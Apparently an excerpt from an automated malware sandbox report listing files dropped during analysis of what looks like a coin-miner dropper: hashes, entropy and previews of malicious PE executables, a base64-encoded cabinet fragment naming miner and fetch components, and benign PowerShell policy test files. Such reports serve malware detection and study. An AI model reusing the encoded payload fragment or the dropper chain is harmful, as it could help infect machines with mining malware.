Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....]d.Dc............(."A..>c..............@A...@...........................d......Pd...@... ...............................a../....a..............c..K....b...............................U.......................a..............................text....!A......"A.................`..`.data...\|....@A......&A.............@....rdata........A.......A.............@..@/4............V.......V.............@..@.bss....\|.....`..........................idata.../....a..0....`.............@....CRT....4.....a.......`.............@....tls..........a.......`.............@....rsrc.........a.......`.............@....reloc........b.......`.............@..B/14...........d......Bc.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DLLAA54.tmp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6542680
Entropy (8bit):	6.4433676229943115
Encrypted:	false
SSDEEP:	196608:QoH78eE6N7qWijOI8VpWx+IfUY8QroV+xLziR:P8UY8ei
MD5:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
SHA1:	7BE54D798B696C1ECB0999C47FDB24FB2D2E9827
SHA-256:	7C722C4A25A26F7179027B1323ED8E291C48365C6F87345E61EE8D5EBD2E5BA0
SHA-512:	B6F661280DFDD1CEBF696D8CDB51763EAC79D073EB13B7EF5CDE76130CCC54B2E1705969FE15F11225233E747C8FFAE516A3B402410582186DAA838264C6B80C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....]d.Dc............(."A..>c..............@A...@...........................d......Pd...@... ...............................a../....a..............c..K....b...............................U.......................a..............................text....!A......"A.................`..`.data...\|....@A......&A.............@....rdata........A.......A.............@..@/4............V.......V.............@..@.bss....\|.....`..........................idata.../....a..0....`.............@....CRT....4.....a.......`.............@....tls..........a.......`.............@....rsrc.........a.......`.............@....reloc........b.......`.............@..B/14...........d......Bc.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DLLD067.tmp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6542680
Entropy (8bit):	6.4433676229943115
Encrypted:	false
SSDEEP:	196608:QoH78eE6N7qWijOI8VpWx+IfUY8QroV+xLziR:P8UY8ei
MD5:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
SHA1:	7BE54D798B696C1ECB0999C47FDB24FB2D2E9827
SHA-256:	7C722C4A25A26F7179027B1323ED8E291C48365C6F87345E61EE8D5EBD2E5BA0
SHA-512:	B6F661280DFDD1CEBF696D8CDB51763EAC79D073EB13B7EF5CDE76130CCC54B2E1705969FE15F11225233E747C8FFAE516A3B402410582186DAA838264C6B80C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....]d.Dc............(."A..>c..............@A...@...........................d......Pd...@... ...............................a../....a..............c..K....b...............................U.......................a..............................text....!A......"A.................`..`.data...\|....@A......&A.............@....rdata........A.......A.............@..@/4............V.......V.............@..@.bss....\|.....`..........................idata.../....a..0....`.............@....CRT....4.....a.......`.............@....tls..........a.......`.............@....rsrc.........a.......`.............@....reloc........b.......`.............@..B/14...........d......Bc.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6542680
Entropy (8bit):	6.4433676229943115
Encrypted:	false
SSDEEP:	196608:QoH78eE6N7qWijOI8VpWx+IfUY8QroV+xLziR:P8UY8ei
MD5:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
SHA1:	7BE54D798B696C1ECB0999C47FDB24FB2D2E9827
SHA-256:	7C722C4A25A26F7179027B1323ED8E291C48365C6F87345E61EE8D5EBD2E5BA0
SHA-512:	B6F661280DFDD1CEBF696D8CDB51763EAC79D073EB13B7EF5CDE76130CCC54B2E1705969FE15F11225233E747C8FFAE516A3B402410582186DAA838264C6B80C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....]d.Dc............(."A..>c..............@A...@...........................d......Pd...@... ...............................a../....a..............c..K....b...............................U.......................a..............................text....!A......"A.................`..`.data...\|....@A......&A.............@....rdata........A.......A.............@..@/4............V.......V.............@..@.bss....\|.....`..........................idata.../....a..0....`.............@....CRT....4.....a.......`.............@....tls..........a.......`.............@....rsrc.........a.......`.............@....reloc........b.......`.............@..B/14...........d......Bc.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DLLF060.tmp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	6542680
Entropy (8bit):	6.4433676229943115
Encrypted:	false
SSDEEP:	196608:QoH78eE6N7qWijOI8VpWx+IfUY8QroV+xLziR:P8UY8ei
MD5:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
SHA1:	7BE54D798B696C1ECB0999C47FDB24FB2D2E9827
SHA-256:	7C722C4A25A26F7179027B1323ED8E291C48365C6F87345E61EE8D5EBD2E5BA0
SHA-512:	B6F661280DFDD1CEBF696D8CDB51763EAC79D073EB13B7EF5CDE76130CCC54B2E1705969FE15F11225233E747C8FFAE516A3B402410582186DAA838264C6B80C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....]d.Dc............(."A..>c..............@A...@...........................d......Pd...@... ...............................a../....a..............c..K....b...............................U.......................a..............................text....!A......"A.................`..`.data...\|....@A......&A.............@....rdata........A.......A.............@..@/4............V.......V.............@..@.bss....\|.....`..........................idata.../....a..0....`.............@....CRT....4.....a.......`.............@....tls..........a.......`.............@....rsrc.........a.......`.............@....reloc........b.......`.............@..B/14...........d......Bc.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DLLF657.tmp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6542680
Entropy (8bit):	6.4433676229943115
Encrypted:	false
SSDEEP:	196608:QoH78eE6N7qWijOI8VpWx+IfUY8QroV+xLziR:P8UY8ei
MD5:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
SHA1:	7BE54D798B696C1ECB0999C47FDB24FB2D2E9827
SHA-256:	7C722C4A25A26F7179027B1323ED8E291C48365C6F87345E61EE8D5EBD2E5BA0
SHA-512:	B6F661280DFDD1CEBF696D8CDB51763EAC79D073EB13B7EF5CDE76130CCC54B2E1705969FE15F11225233E747C8FFAE516A3B402410582186DAA838264C6B80C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....]d.Dc............(."A..>c..............@A...@...........................d......Pd...@... ...............................a../....a..............c..K....b...............................U.......................a..............................text....!A......"A.................`..`.data...\|....@A......&A.............@....rdata........A.......A.............@..@/4............V.......V.............@..@.bss....\|.....`..........................idata.../....a..0....`.............@....CRT....4.....a.......`.............@....tls..........a.......`.............@....rsrc.........a.......`.............@....reloc........b.......`.............@..B/14...........d......Bc.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Encode.txt

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	204858
Entropy (8bit):	6.043017028771149
Encrypted:	false
SSDEEP:	6144:y4o7Q5eo2TELCUDhyQ1UOUyagWH1i1PU5kxYv:/gFoaE+pQXUZ1iZnxC
MD5:	8AA3DB9879D1F0025DCB32C18BD2135E
SHA1:	98D49D6A675177B0EA150303B3F3C619DA6FA77E
SHA-256:	BF37F4B4BA735F68B183411612CC4C36ED2E600558BA1CA53AF742A0A06E167F
SHA-512:	F38775F504290345F82AB2F0C372C903A0331D24065955C836CE8E4BCB1FB40E2F23441CA11AF8857E2953EAB0755C79E68A9CE08213299B7463AD9A9865AA4B
Malicious:	true
Preview:	TVNDRgAAAAD7RQIAAAAAACwAAAAAAAAAAwEBAAQAAAAyEgAAoQAAAAkAAQArAwAA..AAAAAAAA/1hQuyAAWENsaWVudC5iYXQAZAAAACsDAAAAAP9YYbsgAG1pbmVfc3Rh..cnQudmJzAADaAQCPAwAAAAD/WKi6IABmZXRjaFgzMi5kbGwAAGQCAI/dAQAAAP9Y..trogAGZldGNoWDY0LmRsbABU/mhBfkwAgENL7b19fFTVtTB8zsxJMoQJM+AEBo0y..QhAwoJFEJUzQJDBJoARnEpKQYgIISYcRIZJzAlhDEk9Gc7I9rc9Tube9j32qV221..j/fKvbWCVu0koUlQlA+9mgq1sUbd8aR1lDQZNHLetfY5kwT19vZ973/P7w2/OR/7..Y+2111p77bX2XvuQV7s9uMezp64uJXn7Ds/8hQ0HGsTau3bs3dlYu/D2u3burt07..PyV5b+33PNt27PAE79wu3d6wp07ct21vLeRu37sH327ft3P3jj37Gm7fLu3dW7tb..bKzd27Bzz+7b90q7Pdc3ejbdtXfn90oQlOd60QOwtjTc47n+2xtj1y0N4ra94nWN..dzTM91xf57llt7TLs/yWa25IScZ/K3ft2VOfktxQK3rqD+zasSq9cs/eO/3bxKBn..lef2+em1uxtXljG4axCuCXa+N33b3u3BnWLtdlHaWwtFWUF/6W2rfWVlt5VuyS9d..Xbx2o2/1xvJSn3dnnWfxpeWX1d7tWZRfsuam7EVLPN//u5qsqxW3BzfdlH3djl27..bp/f5Knd1VD7nwDev+Km/5dgs5abYL3pG2r31Rt1JupfV1pbv2vb9trFi25ftNSz..6PbbFy3xpjfs/N7ubWbnF21es2vX2rvq9+wVF8+fP3+RJ8MzASfDswiSlnp8u8W9..B/x7du4WV90+v1Taven2+UuqPfXSHbt2bvcAh0S41e4Xa/fu9kAZD5ZYvMS7yJu+..fs+2HWvWr4

C:\Users\user\AppData\Local\Temp\RES7FDD.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x476, 9 symbols, created Mon Aug 5 11:32:19 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1308
Entropy (8bit):	3.949330510530215
Encrypted:	false
SSDEEP:	24:HPjbW9pfN9c9iDfHYwK2NII+ycuZhNqakSyPNnqS+d:vULc9YHK2u1ulqa3eqSe
MD5:	2085D63233D8992638375D3FA2A54430
SHA1:	6228EF7C0286AFC3704D990ECBDE76FB97C1A58B
SHA-256:	0C3FEFFFE54FC9D2685D1B826BE3318D98ED0A358BD68930E4A6CAFB981C463E
SHA-512:	B0D9345156E248E5147A5292F0AEFD70EEDC4BA9A25B822139B2CD23E0E25888DA6F4B28AFBD6AA16A84BA58336F5AF4D610784FAE2CFFF20F40B31EA0DE4002
Malicious:	false
Preview:	L...C..fv............debug$S........8...................@..B.rsrc$01........X...................@..@.rsrc$02........P...&...............@..@........K....c:\Users\user\AppData\Local\Temp\CSC698B17CA485A4DF3BFC9C5C4DCCE15E7.TMP................"...+..1...BV..........4.......C:\Users\user\AppData\Local\Temp\RES7FDD.tmp.-.<....................a..Microsoft (R) CVTRES.P.=..cwd.C:\miner.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...e.e.3.y.y.y.a.u...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.

C:\Users\user\AppData\Local\Temp\RESA854.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x476, 9 symbols, created Mon Aug 5 11:32:29 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1308
Entropy (8bit):	3.9215506366847785
Encrypted:	false
SSDEEP:	24:HBjbW97fbL4DfH5wK2NII+ycuZhN/akSRPNnqS+d:hKbL2CK2u1ul/a3jqSe
MD5:	4365077E5F00121F38BE53BDF2CB88DE
SHA1:	879728204CC8473A41C7780D39CE6029F18F10E7
SHA-256:	16A27B48273142F7D364211F46614F6B2EFEB2A8281C2CB5CC2368F6BDDD34E2
SHA-512:	47793299A8EFE8C97E13E19C6BC7E2944144BCB5BFB5DC774CCC18C928ABFB6F65EAC88540C1DC5C1ACD545AF727526F313CAD309321F58A331AB514A707D224
Malicious:	false
Preview:	L...M..fv............debug$S........8...................@..B.rsrc$01........X...................@..@.rsrc$02........P...&...............@..@........I....c:\Users\user\AppData\Local\Temp\CSC34AD3A053BD0482B8F57CF2F2153CA.TMP..................y.OK../v.>D/s.y..........4.......C:\Users\user\AppData\Local\Temp\RESA854.tmp.-.<....................a..Microsoft (R) CVTRES.P.=..cwd.C:\miner.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...w.e.i.z.m.r.e.n...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.

C:\Users\user\AppData\Local\Temp\RESB020.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x476, 9 symbols, created Mon Aug 5 11:33:37 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1308
Entropy (8bit):	3.946637950442455
Encrypted:	false
SSDEEP:	24:HljbW9pf7G8lkDfHRwK2NII+ycuZhNfakSxPNnqS+d:FUhiaK2u1ulfa3DqSe
MD5:	C4C8499D0FB060E4D7C2A68E9EA2DD82
SHA1:	CD5E514BD79E911E817B5D0BE2B8A85DCDD63C53
SHA-256:	F46BC73250AA73C19E593E6E2C6996F136AA5122F6E3D5B005DD3064FB1337DA
SHA-512:	8A824E4101D18A2717E65B9F44E1B96E8A1A0032E776FA57B5EC8A698F695F48723CC30028AAC55FCCA52071FB2FA4228E30EEBDAEA0CF452386E6001B136928
Malicious:	false
Preview:	L......fv............debug$S........8...................@..B.rsrc$01........X...................@..@.rsrc$02........P...&...............@..@........K....c:\Users\user\AppData\Local\Temp\CSC591B9E4DE1824FC8AB2EAE3EE41D29C1.TMP..................f]O..O..z.Y...........4.......C:\Users\user\AppData\Local\Temp\RESB020.tmp.-.<....................a..Microsoft (R) CVTRES.P.=..cwd.C:\miner.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...a.h.b.s.p.s.j.l...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.

C:\Users\user\AppData\Local\Temp\RESCBDA.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x476, 9 symbols, created Mon Aug 5 11:32:38 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1308
Entropy (8bit):	3.9490800321870516
Encrypted:	false
SSDEEP:	24:HPmjbW9pfH2AcDfHffwK2NII+ycuZhN+aakS5rPNnqS+d:vmUHDKwK2u1ulja3/qSe
MD5:	19913FEA80FCA36739AC38C137FD2532
SHA1:	3339F2AC35384604BB7458F09FEB487F25EE43C9
SHA-256:	A785E9DF7C5D66B94DF67EC733C7A03D0BB984500B204DC3E2A853E366A43005
SHA-512:	10E77E2458ADC3610C4E4BA7028A506FD838DA8CC48D2E2B6C239AC18581C0CAD5CF78ECEE7E1DDF3E26E71502A57018FED3DE348209D7D5F5DF7B174A6AD112
Malicious:	false
Preview:	L...V..fv............debug$S........8...................@..B.rsrc$01........X...................@..@.rsrc$02........P...&...............@..@........K....c:\Users\user\AppData\Local\Temp\CSC42213DD479FE494FA8153260D2C4A5B2.TMP................7...\/c...u...4...........4.......C:\Users\user\AppData\Local\Temp\RESCBDA.tmp.-.<....................a..Microsoft (R) CVTRES.P.=..cwd.C:\miner.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...z.m.h.m.a.g.h.u...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.

C:\Users\user\AppData\Local\Temp\RESFCF8.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x476, 9 symbols, created Mon Aug 5 11:33:56 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1308
Entropy (8bit):	3.9416742553948105
Encrypted:	false
SSDEEP:	24:HcjbW9pfzDfHgwK2NII+ycuZhNFbakSkUPNnqS+d:8UPvK2u1ulFba3k0qSe
MD5:	0F954A9025F547D76A2FF34767DFE30C
SHA1:	E5DCCAB287FAAE28CF905303E813FCE4FC4C2D86
SHA-256:	FF2B4D030449A43F0FBFFC0B4A025DA9013D0A88BFC6ECFAABC3CF234836FDA2
SHA-512:	265A8AE071998A9A52D8FD76966E1ACA920D9DF6C814AC72E5E9BCC9B72BAA83B685D100D80328108D29154A12FE6EFEB7992B635205AB538671640BEF548AE3
Malicious:	false
Preview:	L......fv............debug$S........8...................@..B.rsrc$01........X...................@..@.rsrc$02........P...&...............@..@........K....c:\Users\user\AppData\Local\Temp\CSC553B895C4F294EC7A377E88EC4917E34.TMP................0s.....R.).2.~..........4.......C:\Users\user\AppData\Local\Temp\RESFCF8.tmp.-.<....................a..Microsoft (R) CVTRES.P.=..cwd.C:\miner.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...c.k.4.l.4.t.f.e...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0t1cmtnb.buy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2tnrpl5y.5nm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fmdseqyw.kb1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iegnrl5c.xl1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l5te30fv.jdp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_me4xdns5.wqs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ngqidmug.ct1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r2l4yyfl.frk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vd0qw0ot.ps1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zbciiru4.b0n.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\ahbspsjl.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	212
